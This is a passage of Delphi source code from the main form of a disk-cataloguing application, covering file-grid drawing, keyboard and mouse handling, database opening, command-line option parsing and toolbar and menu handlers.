DrawGridFiles.Canvas.FillRect(Classes.Rect(aRect.Left, aRect.Top, aRect.Left + Offset, aRect.Bottom)); if OneFileLine.FileType <> ftFile then ///DrawGridFiles.Canvas.BrushCopy( /// Bounds(aRect.Left + 1, aRect.Top, Bitmap.Width, Bitmap.Height), /// Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height), clGreen {clOlive}); DrawGridFiles.Canvas.CopyRect( Bounds(aRect.Left + 1, aRect.Top, Bitmap.Width, Bitmap.Height), Bitmap.Canvas, Bounds(0, 0, Bitmap.Width, Bitmap.Height)); end; DrawGridFiles.Canvas.TextRect(Classes.Rect(aRect.Left + Offset, aRect.Top, aRect.Right, aRect.Bottom), aRect.Left + Offset + 1, aRect.Top, OneFileLine.POneFile^.LongName + OneFileLine.POneFile^.Ext); //LOG('DrawGridFiles.Canvas.TextRect', []); end; coTime: begin if aRow = 0 then begin S := lsDateAndTime; StartX := aRect.Right - DrawGridFiles.Canvas.TextWidth(S) - 2; DrawGridFiles.Canvas.TextRect(aRect, StartX, aRect.Top, S); end else begin OneFileLine := TOneFileLine(FilesList.Objects[aRow-1]); DosDateTime := OneFileLine.POneFile^.Time; if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then begin DrawGridFiles.Canvas.Brush.Color := clQSelectedBack; DrawGridFiles.Canvas.Font.Color := clQSelectedText; DrawGridFiles.Canvas.FillRect(aRect); end; if DosDateTime <> 0 then begin //if DosDateTime > 1000000000 then if DosDateTime > 970000000 then s:=FormatDateTime('hh:nn',UniversalTimeToLocal(UnixToDateTime(DosDateTime))) else S := DosTimeToStr(DosDateTime, QGlobalOptions.ShowSeconds); StartX := aRect.Right - DrawGridFiles.Canvas.TextWidth(S) - 2; DrawGridFiles.Canvas.TextRect(aRect, StartX, aRect.Top, S); //if DosDateTime > 1000000000 then if DosDateTime > 970000000 then s:=FormatDateTime('d.m.yyyy',UniversalTimeToLocal(UnixToDateTime(DosDateTime))) else S := DosDateToStr(DosDateTime); PartRect := aRect; PartRect.Right := PartRect.Right - TimeWidth; if PartRect.Right < PartRect.Left then PartRect.Right := PartRect.Left; StartX := PartRect.Right - DrawGridFiles.Canvas.TextWidth(S) - 2; DrawGridFiles.Canvas.TextRect(PartRect, StartX, aRect.Top, S); end else if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then DrawGridFiles.Canvas.FillRect(Classes.Rect(aRect.Left, aRect.Top, aRect.Right, aRect.Bottom)); end; end; coSize: begin if aRow = 0 then S := lsSize else begin OneFileLine := TOneFileLine(FilesList.Objects[aRow-1]); FileType := OneFileLine.FileType; if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then begin DrawGridFiles.Canvas.Brush.Color := clQSelectedBack; DrawGridFiles.Canvas.Font.Color := clQSelectedText; DrawGridFiles.Canvas.FillRect(aRect); end; case FileType of ftDir : S := lsFolder; ftParent: S := ''; else S := FormatSize( TOneFileLine(FilesList.Objects[aRow-1]).POneFile^.Size, QGlobalOptions.ShowInKb); end; end; StartX := aRect.Right - DrawGridFiles.Canvas.TextWidth(S) - 2; DrawGridFiles.Canvas.TextRect(aRect, StartX, aRect.Top, S); end; coDesc: if aRow = 0 then DrawGridFiles.Canvas.TextRect(aRect, aRect.Left+2, aRect.Top, lsDescription) else begin OneFileLine := TOneFileLine(FilesList.Objects[aRow-1]); Description := OneFileLine.POneFile^.Description; if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then begin DrawGridFiles.Canvas.Brush.Color := clQSelectedBack; DrawGridFiles.Canvas.Font.Color := clQSelectedText; DrawGridFiles.Canvas.FillRect(aRect); end; if Description <> 0 then begin DrawGridFiles.Canvas.FillRect(Classes.Rect(aRect.Left, aRect.Top, aRect.Right, aRect.Bottom)); if QI_GetShortDesc(DBaseHandle, Description, S) then DrawGridFiles.Canvas.TextRect(aRect, aRect.Left + 1, aRect.Top, S); end else if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then DrawGridFiles.Canvas.FillRect(Classes.Rect(aRect.Left, aRect.Top, aRect.Right, aRect.Bottom)); end; end; end; end; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.DrawGridFilesKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if FormIsClosed then exit; ShiftState := Shift; EraseFileHint; with DrawGridFiles do begin if (ssShift in Shift) and ((Key = vk_Down) or (Key = vk_Up) or (Key = vk_Left) or (Key = vk_Right) or (Key = vk_Prior) or (Key = vk_Next)) then MakeFileSelection := true; if (Key = vk_Space) or (Key = vk_Insert) then begin DrawGridFilesToggleSelection; Key := vk_Down; end; if Key = vk_Back then begin GoToParent; Key := 0; exit; end; if (Key = vk_Return) then begin DrawGridFilesDblClick(Sender); Key := 0; exit; end; if QGlobalOptions.FileDisplayType = fdBrief then begin if FilesList.Count > 0 then begin if (Key = vk_Down) and (Row = pred(RowCount)) then if Col < pred(ColCount) then begin Row := 0; Col := Col + 1; Key := 0; end; if (Key = vk_Up) and (Row = 0) then if Col > 0 then begin Col := Col - 1; Row := pred(RowCount); Key := 0; end; if (Key = vk_Right) or ((Key = vk_Next) and (Row = pred(RowCount))) then if (Col < pred(ColCount)) then begin if succ(Col)*RowCount + Row >= FilesList.Count then Row := FilesList.Count - succ(Col)*RowCount - 1; Col := Col + 1; Key := 0; end else begin Row := FilesList.Count - pred(ColCount)*RowCount - 1; Key := 0; end; if (Key = vk_Left) or ((Key = vk_Prior) and (Row = 0)) then if (Col > 0) then begin Col := Col - 1; Key := 0; end else begin Row := 0; Key := 0; end; if (Key = vk_Home) then begin Col := 0; Row := 0; Key := 0; end; if (Key = vk_End) then begin Row := FilesList.Count - pred(ColCount)*RowCount - 1; Col := pred(ColCount); Key := 0; end; end; end; end; end; procedure TMainForm.DrawGridFilesSelectCell(Sender: TObject; aCol, aRow: Integer; var CanSelect: Boolean); var i : Integer; bNeedRepaint : boolean; begin if not QI_DatabaseIsOpened (DBaseHandle) then exit; EraseFileHint; if QGlobalOptions.FileDisplayType = fdBrief then begin i := aCol*DrawGridFiles.RowCount + aRow; CanSelect := i < FilesList.Count; if CanSelect then begin UpdateStatusLine(i, false); LastFileSelected := CurFileSelected; CurFileSelected := i; end; end else begin CanSelect := aRow <= FilesList.Count; if CanSelect then begin UpdateStatusLine(aRow-1, false); LastFileSelected := CurFileSelected; CurFileSelected := aRow-1; end; end; if MakeFileSelection then begin MakeFileSelection := false; if CurFileSelected <= LastFileSelected then for i := succ(CurFileSelected) to LastFileSelected do with TOneFileLine(FilesList.Objects[i]) do if ExtAttr and eaSelected <> 0 then ExtAttr := ExtAttr and not eaSelected else ExtAttr := ExtAttr or eaSelected else for i := pred(CurFileSelected) downto LastFileSelected do with TOneFileLine(FilesList.Objects[i]) do if ExtAttr and eaSelected <> 0 then ExtAttr := ExtAttr and not eaSelected else ExtAttr := ExtAttr or eaSelected; if abs(CurFileSelected - LastFileSelected) > 1 then DrawGridFiles.Repaint; end else if not UsePersistentBlocks then begin bNeedRepaint := false; for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do if (ExtAttr and eaSelected) <> 0 then begin bNeedRepaint := true; ExtAttr := ExtAttr and not eaSelected; end; if bNeedRepaint then DrawGridFiles.Repaint; end; end; procedure TMainForm.FormResize(Sender: TObject); begin if FormIsClosed then exit; FormWasResized := 1; end; procedure TMainForm.DisksEnter(Sender: TObject); begin ///SetBriefFileDisplay(true); //SetBriefFileDisplay(QGlobalOptions.FileDisplayType=fdBrief); PopupMenuFilesPopup(Sender); end; procedure TMainForm.DisksKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if FormIsClosed then exit; if (Shift = []) then begin if ((Key = vk_Insert) or (Key = vk_Space)) then begin DisksDblClick(Sender); if (Disks.Row + 1) < Disks.RowCount then Disks.Row := Disks.Row + 1; end; with Disks do if RowCount > 0 then begin if Key = vk_Next then begin if (Row + VisibleRowCount) < RowCount then Row := Row + VisibleRowCount else Row := pred(RowCount); end; if Key = vk_Prior then begin if (Row - VisibleRowCount) > 0 then Row := Row - VisibleRowCount else Row := 0; end; if Key = vk_Home then Row := 0; if Key = vk_End then Row := pred(RowCount); end; end; if Key = vk_Delete then DeleteRecord; if (ssShift in Shift) and ((Key = vk_Down) or (Key = vk_Up) or (Key = vk_Prior) or (Key = vk_Next) or (Key = vk_Home) or (Key = vk_End)) then begin LastDiskSelected := Disks.Selection.Top; MakeDiskSelection := true; end; end; procedure TMainForm.DisksMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var i: Integer; begin if FormIsClosed then exit; try if Button = mbLeft then begin if LastDiskSelected >= Disks.RowCount then LastDiskSelected := pred(Disks.RowCount); if ssShift in Shift then begin for i := 0 to pred(Disks.RowCount) do begin QI_SetSelectionFlag(DBaseHandle, false, i); end; if LastDiskSelected <= Disks.Row then for i := LastDiskSelected to Disks.Row do begin QI_ToggleSelectionFlag(DBaseHandle, i); end else for i := LastDiskSelected downto Disks.Row do begin QI_ToggleSelectionFlag(DBaseHandle, i); end; Disks.Repaint; end; if ssCtrl in Shift then begin QI_ToggleSelectionFlag(DBaseHandle, Disks.Row); end; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.DisksDrawCell(Sender: TObject; aCol, aRow: Integer; aRect: TRect; aState: TGridDrawState); var Key : ShortString; Attr : Word; IsDeleted : boolean; IsSelected : boolean; begin //LOG('DrawGridDisksDrawCell', []); //if FormIsClosed then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; try if QI_GetKeyAt(DBaseHandle, Key, Attr, aRow) then begin IsDeleted := Attr and kaDeleted <> 0; IsSelected := Attr and kaSelected <> 0; if IsDeleted then Key:= '(' + Key + ')'; if IsSelected then Key := Key + '*'; if IsDeleted and not(gdSelected in aState) then Disks.Canvas.Font.Color := clQDeletedText; if IsSelected and not(gdSelected in aState) then begin Disks.Canvas.Brush.Color := clQSelectedBack; Disks.Canvas.Font.Color := clQSelectedText; end; Disks.Canvas.FillRect(aRect); Disks.Canvas.TextRect(aRect, aRect.Left+1, aRect.Top,key); //LOG('DrawGridDisks.Canvas.TextRect', []); end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.DisksDblClick(Sender: TObject); begin if FormIsClosed then exit; try QI_ToggleSelectionFlag(DBaseHandle, Disks.Row); Disks.Repaint; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.DisksClick(Sender: TObject); var done: boolean; begin //AppIdle(sender,done); ActivePanel:=1; end; //----------------------------------------------------------------------------- // Menu handler - Open database procedure TMainForm.MenuOpenDBaseClick(Sender: TObject); var Done: boolean; begin if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); OpenDialog.InitialDir := LastUsedDir; OpenDialog.FileName := '*.qdr'; if OpenDialog.Execute then begin LastUsedDir := ExtractDir(OpenDialog.FileName); if not IsDBaseOpened (OpenDialog.FileName, true) then begin FormIsClosed:=false; DeleteFromLastFilesList(OpenDialog.FileName); OpenDatabase(OpenDialog.FileName); LastOpenedFile := OpenDialog.FileName; end; end; end; //----------------------------------------------------------------------------- // Implements opening the database procedure TMainForm.OpenDatabase (DBFileName: ShortString); ///var ///FormDBase: TFormDBase; //--SaveWindowState: TWindowState; begin // create the MDI window for the database { if ActiveMDIChild = nil // it will be the first window then begin FormDBase := TFormDBase.Create(Self); if DefaultMDIMaximized then FormDBase.WindowState := wsMaximized else FormDBase.WindowState := wsNormal end else begin SaveWindowState := ActiveMDIChild.WindowState; FormDBase := TFormDBase.Create(Self); FormDBase.WindowState := SaveWindowState; end; } // attach the database to the MDI window ///if not FormDBase.AttachDBase(DBFileName) then if not AttachDBase(DBFileName) then exit; // check if the database was opened from the command line if ParamFindFile <> '' then begin Application.ProcessMessages; SearchParam(ParamFindFile); ParamFindFile := ''; end; if ParamScanDisk <> '' then begin while (ParamScanDisk <> '') do begin Application.ProcessMessages; ScanDisk(ParamScanDisk[1], ParamAuto); ShortDelete (ParamScanDisk, 1, 1); if (not ParamAuto) then ParamScanDisk := ''; end; ///if ParamAuto then PostMessage(Handle, WM_CLOSE, 0, 0); end; end; //----------------------------------------------------------------------------- // Called from FormCreate to set the application window size procedure TMainForm.SetFormSize; var IniFile: TIniFile; SLeft, STop, SWidth, SHeight: integer; SMinimized, SMaximized: boolean; sIniFileName: AnsiString; begin sIniFileName := ChangeFileExt(ParamStr(0), '.ini'); if FileExists(sIniFileName) then begin IniFile := TIniFile.Create(ChangeFileExt(ParamStr(0), '.ini')); SLeft := IniFile.ReadInteger ('Application', 'Left', 0); STop := IniFile.ReadInteger ('Application', 'Top', 0); SWidth := IniFile.ReadInteger ('Application', 'Width', Screen.Width); SHeight := IniFile.ReadInteger ('Application', 'Height', Screen.Height - 80); SMaximized := IniFile.ReadBool ('Application', 'Maximized', WindowState = wsMaximized); SMinimized := IniFile.ReadBool ('Application', 'Minimized', WindowState = wsMinimized); DefaultMDIMaximized := IniFile.ReadBool ('Application', 'MDIChildMaximized', true); IniFile.Free; end else begin SLeft := 0; STop := 0; SWidth := Screen.Width; SHeight := Screen.Height - 80; SMaximized := WindowState = wsMaximized; SMinimized := WindowState = wsMinimized; DefaultMDIMaximized := true; end; if SMaximized then WindowState := wsMaximized else if SMinimized then WindowState := wsMinimized else begin WindowState := wsNormal; Position := poDesigned; SetBounds(SLeft, STop, SWidth, SHeight); end; end; //----------------------------------------------------------------------------- // Called one-time, when the application does not have anything to do for the first time procedure TMainForm.FirstIdle; var TmpSt : array[0..256] of char; begin EnableFirstIdle := false; LoadSettingsIni; // check if Diskbase was run with command line parameters if ParamCount > 0 then begin if ProcessParams and (ParamDBaseName <> '') then if FileExists(ParamDBaseName) then begin OpenDatabase(ParamDBaseName); LastOpenedFile := ParamDBaseName; DeleteFromLastFilesList(ParamDBaseName); end else begin StrPCopy(TmpSt, lsFileDoesNotExist + ParamDBaseName); Application.MessageBox(TmpSt, lsErrorOnCommandLine, mb_OK or mb_IconExclamation) end; end else begin // should we open last opened database? if FormSettings.CheckBoxOpenLastOpened.Checked then ParamDBaseName := LastOpenedFile else ParamDBaseName := FormSettings.EditAutoLoadDBase.Text; if (ParamDBaseName <> '') then if FileExists(ParamDBaseName) then begin OpenDatabase(ParamDBaseName); LastOpenedFile := ParamDBaseName; DeleteFromLastFilesList(ParamDBaseName); end else begin StrPCopy(TmpSt, lsFileDoesNotExist + ParamDBaseName); Application.MessageBox(TmpSt, lsErrorInProgramSettings, mb_OK or mb_IconExclamation) end; end; end; //----------------------------------------------------------------------------- // Dispatches the command line parameters function TMainForm.ProcessParams: boolean; var i, j : Integer; LastJ : Integer; Options : ShortString; TmpSt : array[0..256] of char; InBrackets: boolean; OneParamStr: ShortString; begin Result := true; ParamDBaseName := ''; ParamFindFile := ''; ParamScanDisk := ''; ParamAuto := false; Options := ''; InBrackets := false; for i := 1 to ParamCount do begin if InBrackets or (ShortCopy(ParamStr(i),1,1) = '/') or (ShortCopy(ParamStr(i),1,1) = '-') then begin OneParamStr := ParamStr(i); for j := 1 to length(OneParamStr) do if OneParamStr[j]='|' then InBrackets := not InBrackets; Options := Options + OneParamStr; if InBrackets then Options := Options + ' '; end else begin if ParamDBaseName = '' then ParamDBaseName := ExpandFileName(ParamStr(i)) else begin StrPCopy(TmpSt, lsInvalidParameter + ParamStr(i)); Application.MessageBox(TmpSt, lsErrorOnCommandLine, mb_Ok or mb_IconExclamation); Result := false; break; end; end; end; Options := AnsiLowerCase(Options); i := Pos('/f:', Options); if i > 0 then begin InBrackets := false; LastJ := i+3; // to satisfy compiler for j := i+3 to length(Options) do begin LastJ := j; if Options[j] = '|' then InBrackets := not InBrackets; if not InBrackets and ((Options[j] = ' ') or (Options[j] = '/')) then begin ShortDelete(Options, i, j-i); break; end; if Options[j] <> '|' then ParamFindFile := ParamFindFile + Options[j]; end; if LastJ = length(Options) then Options := ''; end; i := Pos('/s:', Options); if i > 0 then begin InBrackets := false; LastJ := i+3; // for compiler for j := i+3 to length(Options) do begin LastJ := j; if Options[j] = '|' then InBrackets := not InBrackets; if not InBrackets and ((Options[j] = ' ') or (Options[j] = '/')) then begin ShortDelete(Options, i, j-i); break; end; ParamScanDisk := ParamScanDisk + Options[j]; end; if LastJ = length(Options) then Options := ''; end; i := Pos('/a', Options); if i > 0 then begin ShortDelete(Options, i, 2); ParamAuto := true; end; if (ParamScanDisk <> '') and (ParamFindFile <> '') then begin StrPCopy(TmpSt, lsOptionsCannotBeMixed); Application.MessageBox(TmpSt, lsErrorOnCommandLine, mb_Ok or mb_IconExclamation); ParamScanDisk := ''; ParamFindFile := ''; Result := false; end; if Options <> '' then begin StrPCopy(TmpSt, lsInvalidOption + Options); Application.MessageBox(TmpSt, lsErrorOnCommandLine, mb_Ok or mb_IconExclamation); ParamScanDisk := ''; ParamFindFile := ''; Result := false; end; end; //----------------------------------------------------------------------------- // Called by VCL when there is no messages in the queue procedure TMainForm.AppIdle(Sender: TObject; var Done: Boolean); begin if EnableFirstIdle then FirstIdle; { if Screen.ActiveForm is TFormDBase then with Screen.ActiveForm as TFormDBase do LocalIdle; if Screen.ActiveForm is TFormFoundFileList then with Screen.ActiveForm as TFormFoundFileList do LocalIdle; if Screen.ActiveForm is TFormFoundEmptyList then with Screen.ActiveForm as TFormFoundEmptyList do LocalIdle; } LocalIdle; UpdateSpeedButtons; ///if LastActiveMDIChild <> ActiveMDIChild then /// begin ///LastActiveMDIChild := ActiveMDIChild; MenuBarClick(Sender); /// end; Done := true; end; //----------------------------------------------------------------------------- // Timer is called each 700 ms, to enable time-based actions. Used for pop-up // bubble info procedure TMainForm.MainTimerTimer(Sender: TObject); begin { if Screen.ActiveForm is TFormDBase then with Screen.ActiveForm as TFormDBase do LocalTimer; if Screen.ActiveForm is TFormFoundFileList then with Screen.ActiveForm as TFormFoundFileList do LocalTimer; if Screen.ActiveForm is TFormFoundEmptyList then with Screen.ActiveForm as TFormFoundEmptyList do LocalTimer; } LocalTimer; end; //----------------------------------------------------------------------------- // Toolbar button handler - collapses the tree procedure TMainForm.SpeedButtonCollapseClick(Sender: TObject); begin ///if Screen.ActiveForm is TFormDBase then /// with Screen.ActiveForm as TFormDBase do /// begin DiskTree.BeginUpdate; DiskTree.FullCollapse; DiskTree.Items[1].Expand(false); DiskTree.EndUpdate; /// end; end; //----------------------------------------------------------------------------- // Toolbar button handler - expands the tree procedure TMainForm.SpeedButtonExpandClick(Sender: TObject); begin ///if Screen.ActiveForm is TFormDBase then /// with Screen.ActiveForm as TFormDBase do /// begin DiskTree.BeginUpdate; DiskTree.FullExpand; DiskTree.EndUpdate; /// end; end; //----------------------------------------------------------------------------- // Menu handler - Program settings procedure TMainForm.MenuConfigClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// with ActiveMDIChild as TFormDBase do /// FormSettings.SetOptions(QGlobalOptions); FormSettings.SetOptions(QGlobalOptions); if FormSettings.ShowModal = mrOk then begin /// { if ActiveMDIChild is TFormDBase then TFormDBase(ActiveMDIChild).ChangeGlobalOptions; if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).ChangeGlobalOptions; if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).ChangeGlobalOptions; } ChangeGLobalOptions; end; end; //----------------------------------------------------------------------------- // Menu handler - Database settings procedure TMainForm.MenuLocalOptionsClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then begin with ActiveMDIChild as TFormDBase do begin FormLocalOptions.SetOptions(QLocalOptions); FormLocalOptions.SetDLList(ConvertDLLs); end; if FormLocalOptions.ShowModal = mrOk then TFormDBase(ActiveMDIChild).ChangeLocalOptions; end; } FormLocalOptions.SetOptions(QLocalOptions); if FormLocalOptions.ShowModal = mrOk then ChangeLocalOptions; end; //----------------------------------------------------------------------------- // Toolbar button handler - shows/hides the tree panel procedure TMainForm.SpeedButtonShowTreeClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then with ActiveMDIChild as TFormDBase do begin QGlobalOptions.ShowTree := not QGlobalOptions.ShowTree; ShowOrHideTreePanel; end; } QGlobalOptions.ShowTree := not QGlobalOptions.ShowTree; ShowOrHideTreePanel; end; //----------------------------------------------------------------------------- // Toolbar button handler - sets brief display of files in the file panel procedure TMainForm.SpeedButtonBriefClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SetBriefFileDisplay(true); SetBriefFileDisplay(true) end; //----------------------------------------------------------------------------- // Toolbar button handler - sets detailed display of files in the file panel procedure TMainForm.SpeedButtonDetailedClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SetBriefFileDisplay(false); SetBriefFileDisplay(false); end; //----------------------------------------------------------------------------- // Menu handler - sets the type of file display procedure TMainForm.SetMenuFileDisplayType (FileDisplayType: TFileDisplayType); begin case FileDisplayType of fdBrief: begin MenuBrief.Checked := true; MenuDetailed.Checked := false; end; fdDetailed: begin MenuDetailed.Checked := true; MenuBrief.Checked := false; end; end; end; //----------------------------------------------------------------------------- // Menu handler - sets brief display of files in file panel procedure TMainForm.MenuBriefClick(Sender: TObject); begin SpeedButtonBriefClick(Sender); SetMenuFileDisplayType(fdBrief); SetBriefFileDisplay(true); PopupMenuFilesPopup(Sender); end; //----------------------------------------------------------------------------- // Menu handler - sets detailed display of files in file panel procedure TMainForm.MenuDetailedClick(Sender: TObject); begin SpeedButtonDetailedClick(Sender); SetMenuFileDisplayType(fdDetailed); SetBriefFileDisplay(false); PopupMenuFilesPopup(Sender); end; //----------------------------------------------------------------------------- // Sets sorting criteria for the file panel procedure TMainForm.SetMenuSortCrit (SortCrit: TSortCrit); begin MenuSortName.Checked := false; MenuSortExt.Checked := false; MenuSortTime.Checked := false; MenuSortSize.Checked := false; case SortCrit of scName: MenuSortName.Checked := true; scExt : MenuSortExt.Checked := true; scTime: MenuSortTime.Checked := true; scSize: MenuSortSize.Checked := true; end; end; //----------------------------------------------------------------------------- // Menu handler - Sort by name procedure TMainForm.MenuSortNameClick(Sender: TObject); begin SetMenuSortCrit (scName); ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SetNeedResort(scName); SetNeedResort(scName); PopupMenuFilesPopup(Sender); end; //----------------------------------------------------------------------------- // Menu handler - Sort by extension procedure TMainForm.MenuSortExtClick(Sender: TObject); begin SetMenuSortCrit (scExt); ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SetNeedResort(scExt); SetNeedResort(scExt); PopupMenuFilesPopup(Sender); end; //----------------------------------------------------------------------------- // Menu handler - Sort by date/time procedure TMainForm.MenuSortTimeClick(Sender: TObject); begin SetMenuSortCrit (scTime); ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SetNeedResort(scTime); SetNeedResort(scTime); PopupMenuFilesPopup(Sender); end; //----------------------------------------------------------------------------- // Menu handler - Sort by size procedure TMainForm.MenuSortSizeClick(Sender: TObject); begin SetMenuSortCrit (scSize); ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SetNeedResort(scSize); SetNeedResort(scSize); PopupMenuFilesPopup(Sender); end; //----------------------------------------------------------------------------- // Menu handler - Show/hide tree panel procedure TMainForm.MenuShowTreeClick(Sender: TObject); begin //SpeedButtonShowTreeClick(Sender); MenuShowTree.Checked := not MenuShowTree.Checked; QGlobalOptions.ShowTree := not QGlobalOptions.ShowTree; ShowOrHideTreePanel; end; //-------------------------------------------------------------------- // Menu handler - fully expands the tree procedure TMainForm.MenuExpandTreeClick(Sender: TObject); begin DiskTree.BeginUpdate; DiskTree.FullExpand; DiskTree.EndUpdate; end; //-------------------------------------------------------------------- // Menu handler - collapses the tree procedure TMainForm.MenuCollapseTreeClick(Sender: TObject); begin DiskTree.BeginUpdate; DiskTree.FullCollapse; DiskTree.Items[1].Expand(false); DiskTree.EndUpdate; end; //-------------------------------------------------------------------- // Menu handler - copy files to clipboard procedure TMainForm.MenuCopyFileClick(Sender: TObject); begin MakeCopyFiles; end; //-------------------------------------------------------------------- // Menu handler - edit the description procedure TMainForm.MenuEditDescClick(Sender: TObject); begin EditDescription; end; //-------------------------------------------------------------------- // Menu handler - display help for file panel procedure TMainForm.MenuHelpFilesClick(Sender: TObject); begin Application.HelpContext(170); end; //-------------------------------------------------------------------- // Menu handler - displays the help for the tree panel procedure TMainForm.MenuHelpTreeClick(Sender: TObject); begin Application.HelpContext(160); end; //----------------------------------------------------------------------------- // Enables/disables toolbar buttons and updates their status procedure TMainForm.UpdateSpeedButtons; procedure EnableSpeedButton(SpeedButton: TSpeedButton; Enable: boolean); begin if SpeedButton.Enabled <> Enable then SpeedButton.Enabled := Enable; end; var DBaseNotEmpty : boolean; DBaseNotReadOnly: boolean; FormDBaseOnTop : boolean; FormFoundOnTop : boolean; ///ActivePanel : Integer; begin ///FormDBaseOnTop := ActiveMDIChild is TFormDBase; ///FormFoundOnTop := (ActiveMDIChild is TFormFoundFileList) /// or (ActiveMDIChild is TFormFoundEmptyList); FormDBaseOnTop := false; if PageControl1.TabIndex<>1 then FormDBaseOnTop := QI_DatabaseIsOpened (DBaseHandle);//true; //FormFoundOnTop := (PageControl1.TabIndex=1) and ((TabSheet2.FindChildControl('FormFoundFileList') <> nil) or // (TabSheet2.FindChildControl('FormFoundEmptyList') <> nil)); FormFoundOnTop := (PageControl1.TabIndex=1) and (GetFoundForm(foBoth) <> nil); ///ActivePanel := 0; if FormDBaseOnTop then begin DBaseNotEmpty := not DBaseIsEmpty; DBaseNotReadOnly := not DBaseIsReadOnly; ///ActivePanel := APanel; end else begin DBaseNotEmpty := false; DBaseNotReadOnly := false; end; EnableSpeedButton(SpeedButtonPrint, FormDBaseOnTop and DBaseNotEmpty or FormFoundOnTop); EnableSpeedButton(SpeedButtonScanA, FormDBaseOnTop and FloppyAExists and DBaseNotReadOnly); EnableSpeedButton(SpeedButtonScanDisk, FormDBaseOnTop and DBaseNotReadOnly); EnableSpeedButton(SpeedButtonDirDescr, FormDBaseOnTop and DBaseNotEmpty); EnableSpeedButton(SpeedButtonSearchFile, FormDBaseOnTop and DBaseNotEmpty); EnableSpeedButton(SpeedButtonSearchSelected, FormDBaseOnTop and DBaseNotEmpty); EnableSpeedButton(SpeedButtonSearchEmpty, FormDBaseOnTop and DBaseNotEmpty); EnableSpeedButton(SpeedButtonDiskInfo, FormDBaseOnTop and DBaseNotEmpty); ///EnableSpeedButton(SpeedButtonCollapse, FormDBaseOnTop and TFormDBase(ActiveMDIChild).QGlobalOptions.ShowTree); ///EnableSpeedButton(SpeedButtonExpand, FormDBaseOnTop and TFormDBase(ActiveMDIChild).QGlobalOptions.ShowTree); EnableSpeedButton(SpeedButtonCollapse, FormDBaseOnTop and QGlobalOptions.ShowTree); EnableSpeedButton(SpeedButtonExpand, FormDBaseOnTop and QGlobalOptions.ShowTree); EnableSpeedButton(SpeedButtonShowFound, (PageControl1.TabIndex=0) and (GetFoundForm(foBoth) <> nil)); EnableSpeedButton(SpeedButtonShowDBase, FormFoundOnTop); EnableSpeedButton(SpeedButtonSelect, FormDBaseOnTop and ((ActivePanel = 1) or (ActivePanel = 3))); EnableSpeedButton(SpeedButtonUnSelect, FormDBaseOnTop and ((ActivePanel = 1) or (ActivePanel = 3)) or FormFoundOnTop); EnableSpeedButton(SpeedButtonParent, FormDBaseOnTop); // next lines are because of when enabling buttons, it must be pressed // to be down if FormDBaseOnTop then begin if not SpeedButtonShowTree.Enabled then begin SpeedButtonShowTree.Enabled := true; SpeedButtonShowTree.Down := false; SpeedButtonShowTree.Down := QGlobalOptions.ShowTree; end; if not SpeedButtonBrief.Enabled then begin SpeedButtonBrief.Enabled := true; SpeedButtonDetailed.Enabled := true; // these crazy lines are necessary... SpeedButtonDetailed.Down := true; SpeedButtonBrief.Down := true; if QGlobalOptions.FileDisplayType = fdBrief then SpeedButtonBrief.Down := true else SpeedButtonDetailed.Down := true; end; if QGlobalOptions.ShowTree <> SpeedButtonShowTree.Down then SpeedButtonShowTree.Down := QGlobalOptions.ShowTree; if (QGlobalOptions.FileDisplayType = fdBrief) and not SpeedButtonBrief.Down then SpeedButtonBrief.Down := true; if (QGlobalOptions.FileDisplayType = fdDetailed) and not SpeedButtonDetailed.Down then SpeedButtonDetailed.Down := true; end else begin EnableSpeedButton(SpeedButtonShowTree, false); EnableSpeedButton(SpeedButtonBrief, false); EnableSpeedButton(SpeedButtonDetailed, false); end; end; //----------------------------------------------------------------------------- // Menu handler - called when the user click on the main menu bar - we can update the // menu status here procedure TMainForm.MenuBarClick(Sender: TObject); var FormDBaseOnTop : boolean; DBaseNotReadOnly: boolean; FormFoundOnTop : boolean; DBaseNotEmpty : boolean; ///ActivePanel : Integer; begin ///ActivePanel := 1; ///FormDBaseOnTop := ActiveMDIChild is TFormDBase; FormDBaseOnTop := false; if PageControl1.TabIndex<>1 then FormDBaseOnTop := QI_DatabaseIsOpened (DBaseHandle); ///FormFoundOnTop := (ActiveMDIChild is 